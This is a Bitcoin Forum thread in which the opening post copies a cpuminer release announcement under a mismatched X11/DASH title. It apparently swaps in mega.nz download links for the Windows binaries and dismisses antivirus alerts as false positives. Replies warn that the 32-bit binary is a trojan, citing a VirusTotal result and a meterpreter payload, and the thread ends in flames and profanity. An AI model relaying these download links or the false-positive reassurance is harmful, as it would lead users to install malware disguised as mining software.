Bitcoin Forum
December 14, 2017, 09:15:07 AM *
News: Latest stable version of Bitcoin Core: 0.15.1  [Torrent].
 
   Home   Help Search Donate Login Register  
Pages: [1]
  Print  
Author Topic: [ANN] X11 32 bit CPU MINER , DASH 32 bit CPU Mining and 64bit Miner Software  (Read 18693 times)
This is a self-moderated topic. If you do not want to be moderated by the person who started this topic, create a new topic.
BTC_HunT3R
Member
**
Offline Offline

Activity: 60


View Profile
November 18, 2015, 12:36:19 PM
 #1

Current Version: 3.1.5 (May 1, 2017) - Changelog
Source tarball: https://github.com/pooler/cpuminer/releases/download/v3.1.5/pooler-cpuminer-3.1.5.tar.gz
Binaries for Windows:
https://mega.nz/#!9KpTgbzC!_Ahpm7SglspLMoNlXz8gUKqljs7bXTxP1E4Q1V2TUOo (32-bit)
https://mega.co.nz/#!2JYXHDpD!OOiFOdsh5rnvk1zhz5niXENNzbgnw1UXwmFcicBzevI  (64-bit)
Binaries for Linux:
https://github.com/pooler/cpuminer/releases/download/v3.1.5/pooler-cpuminer-3.1.5-linux-x86.tar.gz (x86)
https://github.com/pooler/cpuminer/releases/download/v3.1.5/pooler-cpuminer-3.1.5-linux-x86_64.tar.gz (x86-64)
Binaries for Mac OS X:
https://github.com/pooler/cpuminer/releases/download/v3.1.5/pooler-cpuminer-3.1.5-osx32.zip (32-bit)
https://github.com/pooler/cpuminer/releases/download/v3.1.5/pooler-cpuminer-3.1.5-osx64.zip (64-bit)





GPU Miner:
Source: https://github.com/prettyhatemachine/sph-sgminer
Windows: https://mega.co.nz/#!2JYXHDpD!OOiFOdsh5rnvk1zhz5niXENNzbgnw1UXwmFcicBzevI



Basic usage examples
Code:
$ ./minerd --url=http://myminingpool.com:9332 --userpass=my.worker:password
$ ./minerd --url=stratum+tcp://myminingpool.com:3333 --userpass=my.worker:password
For more information:
Code:
$ ./minerd --help

Building instructions
Installing dependencies for building on Debian, Ubuntu and other APT-based distros:
Code:
$ sudo apt-get install build-essential libcurl4-openssl-dev
Installing dependencies for building on Fedora, RHEL, CentOS and other yum-based distros:
Code:
$ sudo yum install gcc make curl-devel
Installing dependencies for building on OpenSUSE and other ZYpp-based distros:
Code:
$ sudo zypper in gcc make libcurl-devel
Recipe for building on Linux:
Code:
$ wget http://sourceforge.net/projects/cpuminer/files/pooler-cpuminer-2.4.tar.gz
$ tar xzf pooler-cpuminer-*.tar.gz
$ cd cpuminer-*
$ ./configure CFLAGS="-O3"
$ make

FAQ / Troubleshooting

Q: Should I call this miner "cpuminer" or "minerd"?
A: The software package is called "cpuminer". "minerd" ("miner daemon") is just the name of the executable file provided by the package.

Q: My antivirus flags the Windows binary as malware.
A: That's a known false positive. More information here.

Q: Can I mine (insert your cryptocoin here) with this miner?
A: Only if its proof-of-work algorithm is scrypt or SHA-256d. This miner does not currently support other algorithms such as Keccak, scrypt-jane, X11, etc. Forks of this project may provide additional algorithms, but I do not maintain them and they are not discussed here, so if you have questions about them please contact their authors.

Q: When running configure I get the error "C compiler cannot create executables".
A: Make sure you typed CFLAGS="-O3" with a big O, not with a zero.

Q: autogen.sh dies with "error: possibly undefined macro: AC_MSG_ERROR".
Q: configure chokes on something like "LIBCURL_CHECK_CONFIG(, 7.15.2, ,'".
A: Make sure you have installed the development package for libcurl. If you have and you're still getting the error when compiling from git, try compiling from tarball instead.

Q: I'm trying to connect to a Stratum server, but I get "HTTP request failed: Empty reply from server".
A: Make sure you specified the correct protocol in the server URL (stratum+tcp://).

Q: Is there any command-line option I can play with to make it mine faster?
A: No. The miner automatically picks the best settings for the CPU it is run on.

Q: What's the difference between the two algorithms, scrypt and sha256d?
A: They are completely different proof-of-work algorithms. You must use scrypt for Litecoin, and you must use sha256d for Bitcoin. The default algorithm is scrypt, so for Bitcoin mining you have to specify --algo=sha256d.

Q: Will this miner use a lot of RAM when using the scrypt algorithm?
A: No, that's a GPU thing.

Q: How do I make the miner write its output to a file instead of printing it to the screen?
A: Just redirect the standard error stream to file:
Code:
minerd [OPTIONS] 2> myfile
You may also want to use the --quiet/-q option to disable the per-thread hashmeter.
On *nix, you probably also want to use the --background/-B option to fork in the background.


Original post (December 19, 2011) follows. Please note that most of the technical details are now outdated.

I have recently rewritten the heart of the scrypt hashing function used by the jgarzik/ArtForz cpuminer in assembly language, to see if this could bring some more speed. Apparently it did. Smiley
The source code is now available at GitHub:
https://github.com/pooler/cpuminer
The build process for Linux should be the same as before.

In the new code I tried to take full advantage of SSE2 instructions, which are available since the Pentium 4. Unfortunately, AMD's implementation of these instructions is not as fast as Intel's... well, ok, sadly it's nearly two times slower. For this reason, I had to write separate versions of the hashing functions. You don't need to worry about this, though, since the new function should be able to auto-detect your cpu and automatically select the best algorithm.

Long polling patch
This release also includes a new --timeout option that I originally added to solve a problem with long polling. Apparently the LP thread doesn't behave nicely under certain network conditions, as reported by various users. So, if you experienced high stale rates with the previous miner, you should definitely try out this new version.
Many thanks to SockPuppet, aka shawnp0wers, who helped me nail down the issue!

Some Technical Details
The current release includes four different implementations of the scrypt core, each one designed for a different hardware.
  • A fallback plain x86 version, to be used when SSE2 instructions are not available (Pentium III, Athlon XP and earlier processors).
  • A 32-bit version using SSE2, for use on the Pentium 4, Pentium M, Core, Atom, plus all 64-bit cpus running in a 32-bit OS.
  • A 64-bit version for Intel processors, i.e. Core 2, i3, i5, i7. This version can in most cases double the speed of the previous miner.
  • A 64-bit version for AMD processors, i.e. Athlon 64, Phenom, Sempron and the like. The speed increase here can range from 5% to 80%.
The first two versions only get compiled in the 32-bit miner, the last two only in the 64-bit miner. The miner uses the CPUID instruction to choose which version to use.

Compiler Flags
One cool aspect of assembly code is that users no more need to play with compiler flags to get the best performance. Configuring the build with just CFLAGS="-O3" is now more than enough to get efficient code. This also means that we no more need separate specialized binaries for Intel and AMD cpus. Just a 32-bit and a 64-bit version.

Personal Notes
Someone on IRC asked me why I am releasing this miner, instead of keeping it for myself or for my pool. Well, that's exactly the point. It is important for Litecoin that everybody has access to the most efficient mining software!
Someone might worry about the effect of this release on market prices, but consider this: if everybody starts using the new miner, the hash rate will go up, but so will difficulty, so nothing will ultimately change. I actually think this new miner will be very beneficial to Litecoin, because it should make mining easier for beginners (see compiler flags).
As crazy_rabbit wrote in another thread, one big plus of Litecoin is that everybody can participate. Well, consider this: now you can effectively mine on an Atom! Smiley

Alright folks... I hope you enjoy the performance boost. Consider this as my Christmas present to the community! Cheesy
1513242907
Hero Member
*
Offline Offline

Posts: 1513242907

View Profile Personal Message (Offline)

Ignore
1513242907
Reply with quote  #2

1513242907
Report to moderator
1513242907
Hero Member
*
Offline Offline

Posts: 1513242907

View Profile Personal Message (Offline)

Ignore
1513242907
Reply with quote  #2

1513242907
Report to moderator
1513242907
Hero Member
*
Offline Offline

Posts: 1513242907

View Profile Personal Message (Offline)

Ignore
1513242907
Reply with quote  #2

1513242907
Report to moderator
Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction. Advertise here.
1513242907
Hero Member
*
Offline Offline

Posts: 1513242907

View Profile Personal Message (Offline)

Ignore
1513242907
Reply with quote  #2

1513242907
Report to moderator
1513242907
Hero Member
*
Offline Offline

Posts: 1513242907

View Profile Personal Message (Offline)

Ignore
1513242907
Reply with quote  #2

1513242907
Report to moderator
1513242907
Hero Member
*
Offline Offline

Posts: 1513242907

View Profile Personal Message (Offline)

Ignore
1513242907
Reply with quote  #2

1513242907
Report to moderator
jamieebotwin
Legendary
*
Offline Offline

Activity: 806



View Profile
May 25, 2017, 09:24:02 AM
 #2

I have a Windows Server with 20 cores at 2.10 Ghz (AMD Opteron 4171 HE). I am currently using Ufasoft CPU miner and getting about 35 Mhash/s.

I want to know what is the fastest CPU miner that I can use.
mk148a
Newbie
*
Offline Offline

Activity: 22


View Profile WWW
June 28, 2017, 09:01:37 PM
 #3

Liar! You send trojan on your miner(32 bit) dont say its miner this damn trojan! Guys dont download please and admins please ban this user,
https://virustotal.com/tr/file/e2049ab327dcf110e649b662d5a9f75ef70a800da5cc5c572783e44a394e5606/analysis/1498683426/
https://mega.nz/#!9KpTgbzC!_Ahpm7SglspLMoNlXz8gUKqljs7bXTxP1E4Q1V2TUOo
I dont want to find meterpreter server ip from this payload next time use encoder/crypter noob

https://intensecoin-pool.com
aenmining
Newbie
*
Offline Offline

Activity: 1


View Profile
July 13, 2017, 01:27:22 PM
 #4

HOW TO FREAKING REPORT??? is this forum has admin?

THIS user spreading a freaking virus.

Dropping files on your c:\program data\[sevices.exe] << the freaking virus and other on other location {i forgot}

Do test the files on your VM/thrash pc or other mean and install winpatrol / sandbox on the machine. They catch new trojan /dropper faster than antivirus.
zabidin2
Newbie
*
Offline Offline

Activity: 5


View Profile
August 24, 2017, 06:12:56 AM
 #5

Getting error:
https://postimg.org/image/4vwz5slp5/
mage1968
Jr. Member
*
Offline Offline

Activity: 34


View Profile
August 24, 2017, 09:00:52 AM
 #6

trojan horse detected...
937Crypto
Newbie
*
Offline Offline

Activity: 13


View Profile
October 10, 2017, 05:35:25 PM
 #7

What a fantastic website that spreads Trojan's all over the world. How about ban this and delete post BITCOIN TALK?Huh??

Basically, I'm just going to walk the Earth
GOODCASH
Newbie
*
Offline Offline

Activity: 24


View Profile
November 01, 2017, 10:32:30 PM
 #8

What a fantastic website that spreads Trojan's all over the world. How about ban this and delete post BITCOIN TALK?Huh??

this bitcoin talk is top on the scam websites, all its admins are same (they are scammers indeed, you can see the moderator or admin has not deleted this post, I am building my own forum for btc
joblo
Legendary
*
Offline Offline

Activity: 966


View Profile
November 02, 2017, 12:04:19 AM
 #9

Stop bumping this thread, just let it die.

Principal developer of cpuminer-opt, the optimized multi-algo CPU miner.
BTC donation address: 12tdvfF7KmAsihBXQXynT6E6th2c2pByTT
https://bitcointalk.org/index.php?topic=1326803.0
fiubit
Newbie
*
Offline Offline

Activity: 18

█▀▀▀█ ▀█


View Profile WWW
November 30, 2017, 08:14:44 PM
 #10

PORKO DIO
MA NON PERCHE CE IL TROJAN
SOLO PERCHE DIO PORKO NESSUNO SI FA I CAZZI SUOI

MINATORI DI STO CAZZO

[im (https://fiubit.wixsite.com/fiubit)
Pages: [1]
  Print  
 
Jump to:  

Sponsored by , a Bitcoin-accepting VPN.
Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!